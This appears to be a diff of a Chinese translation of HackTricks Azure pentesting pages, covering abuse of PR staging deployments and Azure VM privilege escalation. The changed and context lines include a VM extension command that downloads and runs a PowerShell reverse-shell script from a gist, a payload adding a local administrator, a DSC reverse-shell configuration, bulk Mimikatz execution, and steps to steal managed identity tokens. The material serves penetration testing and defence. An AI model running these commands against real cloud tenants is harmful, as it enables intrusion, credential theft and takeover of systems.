By default Pull Requests from a branch in the same repo will be automatically compiled and build in a staging environment. This could be abused by an attacker with write access over the repo but without being able to bypass branch protections of the production branch (usually `main`) to **deploy a malicious version of the app** in the statagging URL.
|
||||
默认情况下,同一仓库中分支的 Pull Requests 将在暂存环境中自动编译和构建。这可能被具有写入访问权限但无法绕过生产分支(通常是 `main`)的分支保护的攻击者滥用,以 **在暂存 URL 中部署恶意版本的应用**。
|
||||
|
||||
The staging URL has this format: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` like: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
|
||||
暂存 URL 的格式为:`https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>`,例如:`https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
|
||||
|
||||
> [!TIP]
|
||||
> Note that by default external PRs won't run workflows unless they have merged at least 1 PR into the repository. An attacker could send a valid PR to the repo and **then send a malicious PR** to the repo to deploy the malicious app in the stagging environment. HOWEVER, there is an unexpected protection, the default Github Action to deploy into the static web app need access to the secret containing the deployment token (like `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) eve if the deployment is done with the IDToken. This means that because an external PR won't have access to this secret and an external PR cannot change the Workflow to place here an arbitrary token without a PR getting accepted, **this attack won't really work**.
|
||||
|
||||
> 请注意,默认情况下,外部 PR 不会运行工作流,除非它们至少合并了 1 个 PR 到仓库中。攻击者可以向仓库发送有效的 PR,然后 **再发送一个恶意 PR**,以在暂存环境中部署恶意应用。然而,有一个意外的保护,默认的 Github Action 在部署到静态 Web 应用时需要访问包含部署令牌的秘密(如 `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`),即使部署是通过 IDToken 完成的。这意味着,由于外部 PR 无法访问此秘密,并且外部 PR 不能更改工作流以在此放置任意令牌而不被接受,**此攻击实际上是行不通的**。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -76,7 +76,7 @@ az vm extension set \
|
||||
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \
|
||||
--protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}'
|
||||
```
|
||||
您还可以执行其他有效载荷,例如: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
|
||||
您还可以执行其他有效负载,例如: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
|
||||
|
||||
- 使用 VMAccess 扩展重置密码
|
||||
```bash
|
||||
@@ -87,13 +87,13 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
还可以滥用知名扩展在虚拟机内执行代码或执行特权操作:
|
||||
还可以利用知名扩展在虚拟机内执行代码或执行特权操作:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>VMAccess 扩展</summary>
|
||||
|
||||
此扩展允许修改 Windows 虚拟机内用户的密码(或在不存在时创建)。
|
||||
此扩展允许修改 Windows 虚拟机内用户的密码(如果不存在则创建)。
|
||||
```bash
|
||||
# Run VMAccess extension to reset the password
|
||||
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
||||
@@ -105,7 +105,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
|
||||
|
||||
<summary>DesiredConfigurationState (DSC)</summary>
|
||||
|
||||
这是一个属于微软的**VM扩展**,使用PowerShell DSC来管理Azure Windows虚拟机的配置。因此,可以通过此扩展在Windows虚拟机中**执行任意命令**:
|
||||
这是一个属于微软的**VM扩展**,使用PowerShell DSC来管理Azure Windows虚拟机的配置。因此,它可以通过此扩展在Windows虚拟机中**执行任意命令**:
|
||||
```bash
|
||||
# Content of revShell.ps1
|
||||
Configuration RevShellConfig {
|
||||
@@ -163,7 +163,7 @@ Set-AzVMDscExtension `
|
||||
|
||||
### `Microsoft.Compute/disks/write, Microsoft.Network/networkInterfaces/join/action, Microsoft.Compute/virtualMachines/write, (Microsoft.Compute/galleries/applications/write, Microsoft.Compute/galleries/applications/versions/write)`
|
||||
|
||||
这些是 **在 VM 中创建新的画廊应用程序并执行它** 所需的权限。画廊应用程序可以执行任何操作,因此攻击者可以利用这一点来妥协执行任意命令的 VM 实例。
|
||||
这些是 **在 VM 中创建新画廊应用程序并执行它** 所需的权限。画廊应用程序可以执行任何操作,因此攻击者可能会利用这一点来妥协执行任意命令的 VM 实例。
|
||||
|
||||
最后两个权限可以通过与租户共享应用程序来避免。
|
||||
|
||||
@@ -308,7 +308,7 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
|
||||
|
||||
通过 **SSH** 使用 **`az ssh vm --name <vm-name> --resource-group <rsc-group>`** 登录,通过 **RDP** 使用您的 **常规 Azure 凭据** 登录。
|
||||
|
||||
## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
### `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
所有这些都是 **创建具有特定托管身份的 VM** 并保持 **端口开放**(在这种情况下为 22)所需的权限。这允许用户创建 VM 并连接到它,并 **窃取托管身份令牌** 以提升权限。
|
||||
|
||||
@@ -349,7 +349,7 @@ az vm identity assign \
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm
|
||||
{{#endref}}
|
||||
|
||||
### "Microsoft.Compute/virtualMachines/read","Microsoft.Compute/virtualMachines/write","Microsoft.Compute/virtualMachines/extensions/read","Microsoft.Compute/virtualMachines/extensions/write"
|
||||
### Microsoft.Compute/virtualMachines/read, Microsoft.Compute/virtualMachines/write, Microsoft.Compute/virtualMachines/extensions/read, Microsoft.Compute/virtualMachines/extensions/write
|
||||
|
||||
这些权限允许更改虚拟机用户和密码以访问它:
|
||||
```bash
|
||||
@@ -359,6 +359,22 @@ az vm user update \
|
||||
--username <USERNAME> \
|
||||
--password <NEW_PASSWORD>
|
||||
```
|
||||
### Microsoft.Compute/virtualMachines/write, "Microsoft.Compute/virtualMachines/read", "Microsoft.Compute/disks/read", "Microsoft.Network/networkInterfaces/read", "Microsoft.Network/networkInterfaces/join/action", "Microsoft.Compute/disks/write".
|
||||
|
||||
这些权限允许您管理磁盘和网络接口,并使您能够将磁盘附加到虚拟机。
|
||||
```bash
|
||||
# Update the disk's network access policy
|
||||
az disk update \
|
||||
--name <disk-name> \
|
||||
--resource-group <resource-group-name> \
|
||||
--network-access-policy AllowAll
|
||||
|
||||
# Attach the disk to a virtual machine
|
||||
az vm disk attach \
|
||||
--vm-name <vm-name> \
|
||||
--resource-group <resource-group-name> \
|
||||
--name <disk-name>
|
||||
```
|
||||
### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action
|
||||
|
||||
根据[**文档**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute),此权限允许您通过 Windows Admin Center 以管理员身份管理资源的操作系统。因此,这似乎允许访问 WAC 来控制虚拟机...
|
||||
|
||||
Reference in New Issue
Block a user